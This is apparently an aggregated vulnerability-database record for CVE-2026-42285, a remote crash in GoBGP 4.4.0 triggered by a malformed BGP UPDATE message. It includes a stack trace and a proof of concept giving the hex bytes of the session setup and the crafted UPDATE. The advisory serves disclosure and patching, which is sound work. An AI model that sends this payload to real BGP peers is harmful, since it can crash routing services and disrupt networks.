{"id":"CVE-2026-42285","aliases":["CVE-2026-42285","GHSA-p3w2-64xm-833j","GO-2026-5525"],"related":[],"kind":"vulnerability","state":"published","title":"GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)","summary":"GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nRemote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing\nAn unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.\n\n\n### Details\nThe vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.\n\nTriggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., \"attribute value length is short\"), GoBGP logs a warning: the received Update message was treated as withdraw.\n\nCode Path:\n\nThe message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.\n\nDue to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.\n\nThe execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.\n\nThe Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.\n\nLog Snippet:\n```\n{\"time\":\"2026-04-21T12:43:10.009107962+08:00\",\"level\":\"WARN\",\"msg\":\"the received Update message was treated as withdraw\",\"Topic\":\"Peer\",\"Key\":\"192.168.31.195\",\"State\":\"BGP_FSM_ESTABLISHED\",\"Error\":\"attribute value length is short\"}\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]\n\ngoroutine 52 [running]:\ngithub.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})\n        /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8\ngithub.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)\n        /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25\ngithub.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82\ncreated by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5\n\n```\n\n### PoC\n```\n[SEND] OPEN\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00\n[RECV] Type: 1 | Length: 77\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02\n[+] Received OPEN from peer\n[SEND] KEEPALIVE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[RECV] Type: 4 | Length: 19\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[+] BGP Session Established\n[SEND] Crafted UPDATE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00\n[*] Waiting for peer reaction...\n[+] Done.\n```\n\n### Impact\nRemote Denial of Service (DoS) in GoBGP v4.4.0","format":"markdown","source":"ghsa"},{"lang":"en","text":"GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference) in github.com/osrg/gobgp","format":"markdown","source":"go"},{"lang":"es","text":"GoBGP es una implementación de código abierto del Border Gateway Protocol (BGP) en el lenguaje de programación Go. En la versión 4.4.0, un par BGP remoto no autenticado puede desencadenar un pánico fatal en GoBGP al enviar un mensaje BGP UPDATE especialmente diseñado. Cuando el servidor recibe un mensaje con longitudes de atributo inconsistentes, maneja incorrectamente la transición de estado interno a una acción de ’retirada’, lo que lleva a una desreferencia de puntero nulo en la función AdjRib.Update. Esto provoca que todo el proceso de GoBGP falle, lo que resulta en una pérdida completa de la disponibilidad del servicio. Este problema ha sido parcheado en la versión 4.5.0.","source":"nvd"}],"published":"2026-05-05T20:57:14.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-476"],"affected":[{"ranges":[{"version":"= 4.4.0","status":"affected"}],"vendor":"osrg","product":"gobgp","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"4.4.0","status":"affected","fixed":"4.5.0"}],"ecosystem":"Go","package":"github.com/osrg/gobgp/v4","purl":"pkg:golang/github.com/osrg/gobgp/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.4.0","status":"affected","fixed":"4.5.0"}],"ecosystem":"Go","package":"github.com/osrg/gobgp/v4","purl":"pkg:golang/github.com/osrg/gobgp/v4","source":"go"},{"ranges":[{"status":"affected","version":"4.4.0"}],"vendor":"osrg","product":"gobgp","cpe":"cpe:2.3:a:osrg:gobgp:4.4.0:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/osrg/gobgp/releases/tag/v4.5.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42285","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/osrg/gobgp","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/osrg/gobgp/commit/d2d2be3e4e7915d407e662e5d388d9f8ae8a8f7b","tags":["fix"],"sources":["go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-07T13:04:33.585Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42285","url":"https://www.cve.org/CVERecord?id=CVE-2026-42285","licence":"CVE Terms of Use","modified":"2026-05-07T13:04:56.019Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p3w2-64xm-833j","url":"https://github.com/advisories/GHSA-p3w2-64xm-833j","licence":"CC-BY-4.0","modified":"2026-07-24T19:11:31.705Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5525","url":"https://pkg.go.dev/vuln/GO-2026-5525","licence":"CC-BY-4.0","modified":"2026-07-24T19:00:24.115Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42285","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42285","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:20.873Z","epss":{"score":0.00418,"percentile":0.38093,"date":"2026-12-01T12:00:22.000Z"}}